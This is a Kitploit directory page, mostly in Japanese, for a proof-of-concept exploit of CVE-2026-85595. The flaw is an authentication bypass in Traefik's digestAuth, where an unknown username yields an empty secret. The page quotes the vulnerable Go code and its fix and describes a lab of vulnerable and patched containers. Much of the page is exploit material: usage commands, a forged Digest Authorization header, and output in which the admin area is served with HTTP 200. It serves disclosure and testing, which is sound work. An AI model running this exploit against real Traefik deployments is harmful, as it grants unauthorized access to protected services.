Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-85595-PoC — CVE-2026-85595 — Traefik digestAuth 認証バイパス(未知のユーザー名 => 空の HA1)。ラボ検証済み: v3.7.10 はバイパス、v3.7.11 は 401。 | Kitploit
ツール/GitHubGitHub/boreas37/cve-2026-85595-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト認証ラボと実践
GitHubboreas37/cve-2026-85595-poc

CVE-2026-85595-PoC

CVE-2026-85595 — Traefik digestAuth 認証バイパス(未知のユーザー名 => 空の HA1)。ラボ検証済み: v3.7.10 はバイパス、v3.7.11 は 401。

リポジトリを見る
13日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-85595 — Traefik の digestAuth が未知のユーザーを認証する(空のシークレット)

影響を受けるバージョン: Traefik < 2.11.55、および 3.0.0 – 3.7.10 修正済み: 2.11.55 / 3.7.11 修正: containous/go-http-auth のコミット b975dcaa8c48 「ユーザーシークレットが空の場合に DigestAuth を拒否する」、コミット 2116686308a2(go.mod の更新)によって Traefik にベンダリング アドバイザリ: GHSA-4v96-rv7j-9wmr · CVSS 9.8 · CWE-287

メカニズム

Traefik のダイジェストミドルウェアは、独自のシークレット検索を通じてユーザーの HA1 を解決します (pkg/middlewares/auth/digest_auth.go):

func (d *digestAuth) secretDigest(user, realm string) string {
	if secret, ok := d.users[user+":"+realm]; ok {
		return secret
	}
	return ""            // unknown user -> empty secret, not a rejection
}

go-http-auth の CheckAuth はその "" を HA1 として受け取り、計算します (修正前の digest.go:191-203):

HA1 := da.Secrets(auth["username"], da.Realm)   // "" for an unknown user
HA2 := H(r.Method + ":" + auth["uri"])
KD  := H(HA1 + ":" + auth["nonce"] + ":" + auth["nc"] + ":" + auth["cnonce"] + ":" + auth["qop"] + ":" + HA2)

PlainTextSecrets は Traefik では false です(users ファイルにはすでに HA1 が含まれているため)、 そのため HA1 は空文字列のままです。HA1 を除く KD へのすべての入力は攻撃者が制御できるか、 401 チャレンジによって発行されるもの(nonce、opaque)であり、uri のチェックは リクエスト自身のパスを受け入れます。したがって、レスポンスはパスワードなしで、 また users ファイルに存在するユーザー名なしで計算可能です。

修正はライブラリの3行です:

HA1 := da.Secrets(auth["username"], da.Realm)
if HA1 == "" {
	return "", nil
}

Traefik自体にはコード変更は不要で、依存関係の更新のみが必要でした。そのため、v3.7.11のdiffにはdigest_auth.goのhunkが含まれていません。

ラボ

役割イメージコンテナホストポート
脆弱なプロキシtraefik:v3.7.10poc-traefik-vuln-3710127.0.0.1:21010 → :8000
修正済みプロキシtraefik:v3.7.11poc-traefik-3711127.0.0.1:21011 → :8000
  • ルーター: エントリポイントdigest上のPathPrefix(/admin)、ミドルウェアdigestAuth (realm=traefik-lab、usersFile=/etc/traefik/users.htdigest、removeHeader: true)。
  • ユーザーファイル: admin:traefik-lab:6002799976b7f2610ec21f5961f9e2e5 (admin:traefik-lab:S3cretLabPass)。PoCが使用するユーザーghostは含まれていません。
  • バックエンド: poc-traefik-app (python:3.12-alpine)、/admin/*に対してADMIN-AREA …を配信します。
  • レシピ: lab/README.md。

使用方法

python3 cve_2026_85595.py exploit --url http://127.0.0.1:21010   # vulnerable
python3 cve_2026_85595.py check   --url http://127.0.0.1:21011   # fixed

--output FILE はトランスクリプトを書き出します。--path、--user は対象パスと偽装ユーザー名を上書きします。

検証(実際の出力)

1. 脆弱な traefik:v3.7.10 — バイパス

$ python3 cve_2026_85595.py exploit --url http://127.0.0.1:21010
[*] target          : http://127.0.0.1:21010
[*] protected path  : /admin/secret
[*] forged username : 'ghost' (not present in the users file)
[*] mode            : exploit
[*] control (no credentials)          -> HTTP 401
[*] challenge                         -> HTTP 401
    Digest realm="traefik-lab", nonce="YHTw9aQqfnJCLD4C", opaque="kWFhikjHjyGSF8Yq", algorithm="MD5", qop="auth"
[*] HA1 (secret for 'ghost')      -> ''
[*] forged response                   -> 33b1b9b9e57144f3c02045c22dbd2772
[*] Authorization: Digest username="ghost", realm="traefik-lab", nonce="YHTw9aQqfnJCLD4C", uri="/admin/secret", algorithm=MD5, qop=auth, nc=00000001, cnonce="0a4f113b", response="33b1b9b9e57144f3c02045c22dbd2772", opaque="kWFhikjHjyGSF8Yq"
[*] forged request                    -> HTTP 200
    body: ADMIN-AREA secret admin panel for /admin/secret
    request_line: GET /admin/secret HTTP/1.1
    resolved_path: /admin/secret
=> PASS (digestAuth bypassed with unknown user 'ghost' and an empty HA1; protected content served with HTTP 200)

プロキシ自身のアクセスログには、偽造されたIDが認証済みユーザーとして記録されます (ClientUsername はクライアントIPの後の2番目のフィールドです):

192.168.48.1 - -     [24/Oct/2026:13:22:20 +0000] "GET /admin/secret HTTP/1.1" 401 17 "-" "-" 1 "digest-lab@file" "-" 0ms
192.168.48.1 - ghost [24/Oct/2026:13:22:20 +0000] "GET /admin/secret HTTP/1.1" 200 118 "-" "-" 3 "digest-lab@file" "http://app:8080" 6ms

2. 同一プロキシ、認証情報なし(対照)

$ curl -sS -o /dev/null -w '%{http_code}\n' http://127.0.0.1:21010/admin/secret
401

3. traefik:v3.7.11 の固定 — 偽造ダイジェストが拒否される

$ python3 cve_2026_85595.py check --url http://127.0.0.1:21011
[*] target          : http://127.0.0.1:21011
[*] protected path  : /admin/secret
[*] forged username : 'ghost' (not present in the users file)
[*] mode            : check
[*] control (no credentials)          -> HTTP 401
[*] challenge                         -> HTTP 401
    Digest realm="traefik-lab", nonce="kcFdYslQKbKj6yxm", opaque="NL8YFCUjlmHaxmZP", algorithm="MD5", qop="auth"
[*] HA1 (secret for 'ghost')      -> ''
[*] forged response                   -> 00cbf0f515f4663a98a223027faece2f
[*] Authorization: Digest username="ghost", realm="traefik-lab", nonce="kcFdYslQKbKj6yxm", uri="/admin/secret", algorithm=MD5, qop=auth, nc=00000001, cnonce="0a4f113b", response="00cbf0f515f4663a98a223027faece2f", opaque="NL8YFCUjlmHaxmZP"
[*] forged request                    -> HTTP 401
    body: 401 Unauthorized
=> PASS (fixed: forged digest for an unknown user rejected with HTTP 401)

注意事項 / 制限

  • PoC はチャレンジごとに 1 つのリクエストを偽造します。nonce の管理(nc)は単一の使用を超えて必要ありません。
  • 有効な認証情報はどこでも使用されません。送信される唯一のユーザー名は、ユーザーファイルに存在しないものです。
  • 同じ手法は、影響を受けるバージョンの digestAuth で保護された任意のルーターに対して有効であり、また 2.11.x < 2.11.55 に対しても有効です。
ツールをダウンロード